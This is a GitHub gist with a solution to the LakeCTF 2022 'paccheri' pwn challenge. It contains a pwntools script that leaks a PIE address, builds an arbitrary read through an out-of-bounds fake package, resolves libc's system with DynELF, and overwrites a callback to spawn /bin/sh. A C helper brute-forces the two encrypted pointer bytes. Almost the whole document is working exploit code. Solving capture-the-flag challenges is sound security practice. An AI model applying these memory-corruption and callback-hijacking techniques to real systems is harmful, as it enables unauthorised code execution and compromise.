Created
November 8, 2022 19:48
-
-
Save YiChenChai/30d14ab786721759f5b448a595faea18 to your computer and use it in GitHub Desktop.
LakeCTF 2022 paccheri solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
# context.log_level = 'debug' | |
def add_pkg(dest): | |
proc.sendlineafter('too long', '1') | |
proc.sendlineafter('address:', dest) | |
def remove_pkg(idx): | |
proc.sendlineafter('too long', '2') | |
proc.sendlineafter('address:', str(idx)) | |
def edit_pkg(idx, addr): | |
proc.sendlineafter('too long', '4') | |
proc.sendlineafter('edit?', str(idx)) | |
proc.sendafter('address:', addr) | |
proc.recvuntil('callback: ') | |
try: | |
ptr = int(proc.recvuntil('\n')[:-1], 16) | |
except: | |
ptr = 0 | |
return ptr | |
def view_pkg(): | |
proc.sendlineafter('too long', '3') | |
def leak(addr): | |
edit_pkg(-11, p64(addr) + p64(0) * 2) # fake package with arbitrary read of printf GOT | |
view_pkg() | |
proc.recvuntil('Address: ') | |
res = proc.recvuntil('id: ')[:-4] | |
return '\x00' if res == '' else res | |
proc = remote('chall.polygl0ts.ch', 3700) | |
add_pkg('dest') | |
ptr = edit_pkg(0, 'A' * 24) # leak pointer to PIE | |
piebase = ptr - 0xedc | |
printf = piebase + 0x12f78 | |
libcleak = u64(leak(printf).ljust(8, '\x00')) | |
writeable = piebase + 0x13080 | |
dyn = DynELF(leak, libcleak) | |
system = dyn.lookup('system', 'libc') | |
log.info('System @ 0x%x' % system) | |
log.info('Writeable @ 0x%x' % writeable) | |
# pause() | |
# context.log_level = 'debug' | |
edit_pkg(-11, p64(writeable) + p32(0) + p32(1) + p64(system)) # fake package with system as callback | |
edit_pkg(0, '/bin/sh;#'.ljust(24, 'A')) | |
edit_pkg(-11, p64(writeable) + p32(0) + p32(1) + p64(system)) # fake package with system as callback | |
view_pkg() | |
proc.recvuntil('state: ') | |
thehash = int(proc.recvuntil('\n')[:-1], 16) | |
header = int(subprocess.check_output(['./hash', hex(thehash)]), 16) # brute force the encrypted two bytes for callback | |
log.info('New encrypted pointer @ 0x%x' % (header << 48 | system)) | |
edit_pkg(-11, p64(writeable) + p32(0) + p32(1) + p64(header << 48 | system)) # combine two bytes with callback | |
proc.sendlineafter('too long', '5') | |
proc.sendlineafter('check?', '0') | |
proc.interactive() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#define __int64 long long | |
#define __int8 char | |
__int64 wtf_D0C(int a1, unsigned long long int a2) | |
{ | |
// a2 = strtoull(argv[1], &useless, 16); | |
// printf("%llx\n", a2); | |
unsigned int v3; // [xsp+Ch] [xbp-24h] | |
int v4; // [xsp+1Ch] [xbp-14h] | |
int j; // [xsp+20h] [xbp-10h] | |
int i; // [xsp+24h] [xbp-Ch] | |
v3 = ~a1; | |
v4 = 0; | |
for ( i = 0; i <= 7; ++i ) | |
{ | |
v3 ^= (__int64)((255 << (8 * i)) & a2) >> (8 * (unsigned __int8)i); | |
for ( j = 7; j >= 0; --j ) | |
v3 = (v3 >> 1) ^ -(v3 & 1) & 0xEDB88320; | |
++v4; | |
} | |
return ~v3; | |
} | |
int main(int argc, char *argv[]) { | |
char *useless; | |
// unsigned long long int inp = strtoull(argv[1], &useless, 16); | |
unsigned long long int output = strtoull(argv[1], &useless, 16); | |
// printf("%llu\n", a); | |
for (unsigned __int64 i = 0; i < 256; i++) { | |
for (unsigned __int64 j = 0; j < 256; j++) { | |
if (wtf_D0C(0, i << 56 | j << 48) == output) { printf("%hhx%hhx", i, j); break; } | |
} | |
} | |
// printf("%x", wtf_D0C(0, a)); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment